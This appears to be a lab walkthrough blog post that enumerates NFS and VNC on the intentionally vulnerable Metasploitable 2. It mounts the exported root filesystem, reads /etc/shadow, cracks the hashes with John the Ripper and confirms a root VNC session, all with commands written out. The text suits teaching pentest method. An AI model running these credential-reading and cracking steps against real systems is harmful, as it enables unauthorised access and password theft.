October 1, 2026
Network Pentesting Methodology โ Part 1: NFS & VNC
This is the first part of a practical series that builds a repeatable network pentesting methodology using Metasploitable 2.
By Nadana
6 min read
The goal is not to treat every open port as a shortcut to exploitation. Instead, each service is explored to understand what it exposes, how it is configured, and what useful information or access it can provide.
For this part, I focused on NFS and VNC.
Starting with Service Discovery
I started by looking at what the machine was exposing to the network.
At this point, I was not trying to exploit anything. I just wanted to answer a few basic questions:
- Which ports are open?
- What services are running?
- Which of them look interesting enough to investigate further?
I used:
nmap -sV 192.168.195.128nmap -sV 192.168.195.128From the scan, two services became especially interesting for this part:
2049/tcp NFS
5900/tcp VNC2049/tcp NFS
5900/tcp VNCThat gave me two different paths to follow:
NFS โ possible filesystem exposure
VNC โ possible remote desktop accessNFS โ possible filesystem exposure
VNC โ possible remote desktop accessSo instead of treating the scan as the result, I used it as a starting point for service-specific enumeration.
NFS
Why I Looked at NFS
NFS, or Network File System, allows directories to be shared across a network.
Normally, that is not a problem by itself. The issue is how those shares are configured.
When I see NFS exposed, I usually want to know:
- What is being exported?
- Who is allowed to access it?
- Can I mount it?
- Are sensitive files exposed?
So the first thing I did was confirm the NFS-related services:
nmap -sV -p 111,2049 192.168.195.128nmap -sV -p 111,2049 192.168.195.128This confirmed that the target had NFS/RPC-related services available.
Checking the NFS Exports
Next, I checked which directories the server was exporting:
showmount -e 192.168.195.128showmount -e 192.168.195.128The result was:
/ */ *This was immediately interesting.
The / means that the root filesystem is being exported, while * means the export is broadly available instead of being limited to one specific trusted host.
So, in practical terms, the result suggested:
The whole filesystem may be remotely accessible.The whole filesystem may be remotely accessible.At that point, the obvious next step was to see whether I could actually mount it.
Since the initial showmount result already showed that the root filesystem was exported, I followed up with a few Nmap NFS scripts to get a clearer view of the share, including its contents, permissions, and filesystem information before mounting it manually.
Mounting the NFS Share
I created a local mount point:
sudo mkdir -p /mnt/nfssudo mkdir -p /mnt/nfsThen mounted the target filesystem:
sudo mount -t nfs 192.168.195.128:/ /mnt/nfssudo mount -t nfs 192.168.195.128:/ /mnt/nfsAfter that, I listed the mounted directory:
ls -la /mnt/nfsls -la /mnt/nfsThe mount worked, and I could browse the target filesystem.
Some of the important directories available were:
/etc
/home
/root/etc
/home
/rootThis was the point where the NFS issue became more than just an exposed service.
The flow was now:
NFS exposed
โ
Root filesystem exported
โ
Filesystem mounted successfully
โ
Sensitive directories accessibleNFS exposed
โ
Root filesystem exported
โ
Filesystem mounted successfully
โ
Sensitive directories accessibleA useful screenshot here would show both the active mount and the filesystem listing:
mount | grep nfs
ls -la /mnt/nfsmount | grep nfs
ls -la /mnt/nfs
Looking for Sensitive Files
Once I had access to the filesystem, I started checking whether sensitive files could also be read.
One of the most obvious files to check on a Linux system is:
/etc/shadow/etc/shadowSo I tried:
sudo cat /mnt/nfs/etc/shadowsudo cat /mnt/nfs/etc/shadowThe file was readable.
That changed the impact of the NFS misconfiguration quite a lot.
Instead of simply having access to files, I now had access to password hashes stored by the operating system.
The path became:
NFS exposure
โ
Remote access to filesystem
โ
/etc/shadow readable
โ
Password hashes exposedNFS exposure
โ
Remote access to filesystem
โ
/etc/shadow readable
โ
Password hashes exposed
Extracting the Interesting Hashes
To make the output easier to work with, I filtered the shadow file for the relevant hash format:
sudo cat /mnt/nfs/etc/shadow | grep '\$1\$'sudo cat /mnt/nfs/etc/shadow | grep '\$1\$'Then I saved those hashes to a file:
sudo cat /mnt/nfs/etc/shadow | grep '\$1\$' > ~/hashes.txtsudo cat /mnt/nfs/etc/shadow | grep '\$1\$' > ~/hashes.txtAt this stage, the important point was not the command itself.
What mattered was that one exposed network service had now given me authentication material that could be analyzed offline.
Offline Password Analysis
I used John the Ripper to analyze the hashes:
john ~/hashes.txtjohn ~/hashes.txtThen checked the recovered results with:
john --show hashes.txtjohn --show hashes.txtThis is a good example of how one finding can naturally lead into another part of the attack path.
The NFS service itself did not directly give me a shell.
Instead, it exposed data that could potentially be reused somewhere else.
NFS
โ
Sensitive file exposure
โ
Password hashes
โ
Offline password analysis
โ
Possible credential reuse laterNFS
โ
Sensitive file exposure
โ
Password hashes
โ
Offline password analysis
โ
Possible credential reuse laterActual Output
The exact John output from the lab should be placed here:
So the NFS flow in this lab became:
NFS exposed
โ root filesystem exported
โ filesystem mounted
โ sensitive files accessible
โ password hashes exposed
โ offline analysisNFS exposed
โ root filesystem exported
โ filesystem mounted
โ sensitive files accessible
โ password hashes exposed
โ offline analysisVNC
Why I Looked at VNC
The other service I focused on was VNC.
VNC provides graphical remote access to a system, so if it is exposed, I want to know:
- What version is running?
- What authentication method is being used?
- Can I connect?
- What kind of session do I get?
- Which user is the session running as?
I started with service-specific enumeration:
nmap -sV -p 5900,5901 --script vnc-info 192.168.195.128nmap -sV -p 5900,5901 --script vnc-info 192.168.195.128The result showed:
5900/tcp open vnc5900/tcp open vncIt also revealed:
Protocol: 3.3Protocol: 3.3and:
Security type: VNC AuthenticationSecurity type: VNC AuthenticationSo before even opening a VNC client, I already knew that:
- VNC was reachable,
- it was listening on port
5900, - the protocol version was
3.3, - and it expected VNC authentication.
Connecting to VNC
After confirming the service, I connected using:
vncviewer 192.168.195.128:0vncviewer 192.168.195.128:0The authentication worked, and I got access to the remote desktop.
At first, that already looked like a successful result, but I still needed to check what level of access the session actually had.
A desktop session alone does not tell me whether I am running as a normal user or as root.
After identifying the VNC service, I checked the stored VNC password file, copied it to my local user directory, and then used it to authenticate to the service. The connection was successful, confirming that the VNC session was accessible remotely 192.168.195.128:0.
Checking the Privilege Level
Inside the VNC session, I opened a terminal and ran:
whoamiwhoamiThe result was:
rootrootI also checked:
ididThe result confirmed:
uid=0(root)uid=0(root)So the VNC session was running with root privileges.
That means the path was not just:
VNC accessVNC accessIt was actually:
VNC exposed
โ
Authentication succeeded
โ
Remote desktop obtained
โ
Privilege checked
โ
Root session confirmedVNC exposed
โ
Authentication succeeded
โ
Remote desktop obtained
โ
Privilege checked
โ
Root session confirmedA single screenshot showing the VNC desktop with whoami and id in the terminal would be strong evidence for this part.
The VNC path therefore became:
VNC discovered
โ protocol enumerated
โ authentication identified
โ remote session obtained
โ privilege level verified
โ root access confirmedVNC discovered
โ protocol enumerated
โ authentication identified
โ remote session obtained
โ privilege level verified
โ root access confirmedWhat This Part Adds to the Methodology
The two services behaved differently, but both reinforced the same approach:
Discover
โ Enumerate
โ Interpret the result
โ Validate the exposure
โ Follow the next useful pathDiscover
โ Enumerate
โ Interpret the result
โ Validate the exposure
โ Follow the next useful pathNFS produced access to sensitive data.
VNC produced direct privileged access.
That distinction is useful because it shows why enumeration should guide the next step instead of relying on a fixed exploit checklist.
Want to Try This Lab Yourself?
If you want to follow along and reproduce the same steps, you can set up a small local lab using:
- Kali Linux as the attacking machine https://www.kali.org/get-kali/#kali-virtual-machines
- Metasploitable 2 as the vulnerable target https://sourceforge.net/projects/metasploitable/
- VirtualBox or VMware to run both machines https://www.vmware.com/products/desktop-hypervisor/workstation-and-fusion
Metasploitable 2 is intentionally vulnerable and is designed for practicing penetration testing in a safe lab environment.
After importing both machines, make sure they are connected to the same isolated virtual network, then identify the target IP address before starting the enumeration.
Keep the lab isolated and only test systems you own or have permission to use.